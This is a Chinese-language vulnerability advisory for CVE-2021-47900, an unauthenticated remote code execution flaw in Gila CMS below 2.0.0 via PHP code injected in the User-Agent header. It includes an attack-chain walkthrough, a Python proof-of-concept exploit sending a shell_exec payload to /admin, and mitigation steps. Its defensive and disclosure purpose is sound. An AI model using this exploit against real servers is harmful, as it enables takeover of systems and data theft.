IPBUF安全漏洞报告
English
CVE-2021-47900 CVSS 9.8 严重

CVE-2021-47900 Gila CMS 远程代码执行漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2021-47900
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gila CMS

相关标签

远程代码执行RCEGila CMSHTTP头部注入CVE-2021-47900PHPWeb应用安全无认证利用CVSS 9.8

漏洞概述

CVE-2021-47900是Gila CMS中的一个严重远程代码执行漏洞,CVSS评分高达9.8,属于危急级别。该漏洞影响Gila CMS 2.0.0之前的所有版本。攻击者可以通过在HTTP请求的User-Agent头中注入恶意PHP代码,利用应用对HTTP头部参数处理不当的缺陷,触发远程代码执行。一旦漏洞被成功利用,攻击者可以在服务器上执行任意系统命令,完全控制目标服务器,可能导致数据泄露、服务中断或进一步的内网渗透。此漏洞无需任何认证即可利用,且攻击复杂度较低,对互联网暴露的Gila CMS实例构成严重威胁。

技术细节

该漏洞的根本原因在于Gila CMS在处理HTTP请求时,对User-Agent等HTTP头部参数缺乏充分的输入验证和过滤。系统在处理请求时,会将User-Agent头的内容传递给PHP的eval()或类似的代码执行函数。当攻击者在User-Agent头中注入PHP代码(如:<?php phpinfo(); ?> 或使用shell_exec()函数),这些代码会被应用当作有效代码执行。攻击者可以通过构造特定的payload,在User-Agent头中嵌入系统命令执行语句,然后向/admin端点发送请求。应用在解析请求时,会执行注入的PHP代码,从而在服务器上执行攻击者指定的系统命令。这种攻击方式绕过了传统的Web应用防火墙,因为WAF通常只检查URL参数和POST数据,而忽略HTTP头部信息。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标服务器上运行的Gila CMS版本,确认版本低于2.0.0
STEP 2
Payload Construction
攻击者构造恶意PHP payload,在User-Agent头中注入shell_exec()函数调用
STEP 3
Request Delivery
攻击者向/admin端点发送包含恶意User-Agent头的HTTP请求
STEP 4
Code Execution
Gila CMS解析HTTP请求时,将User-Agent头中的PHP代码传递给eval()或类似函数执行
STEP 5
Command Execution
注入的shell_exec()函数在服务器上执行攻击者指定的系统命令
STEP 6
Post-Exploitation
攻击者获得服务器完全控制权,可执行任意命令、上传后门或窃取数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-47900 PoC - Gila CMS Remote Code Execution # Target: Gila CMS < 2.0.0 # Attack Vector: User-Agent HTTP Header Injection def exploit(target_url, cmd): """ Exploit CVE-2021-47900 by injecting PHP code in User-Agent header """ # Construct malicious payload with shell_exec payload = f"<?php shell_exec('{cmd}'); ?>" headers = { 'User-Agent': payload } try: # Target the admin endpoint target = f"{target_url}/admin" response = requests.get(target, headers=headers, timeout=10) print(f"[*] Request sent to: {target}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://target.com 'id'") sys.exit(1) target_url = sys.argv[1].rstrip('/') command = sys.argv[2] result = exploit(target_url, command) if result: print("\n[+] Response received")

影响范围

Gila CMS < 2.0.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)使用Web应用防火墙限制对User-Agent等HTTP头部的长度和内容;2)在Web服务器层面配置规则,过滤包含PHP代码特征的User-Agent头;3)禁用或限制shell_exec()等危险PHP函数;4)限制/admin端点的访问来源,仅允许可信IP地址访问;5)启用详细的访问日志和告警,监控异常的HTTP请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表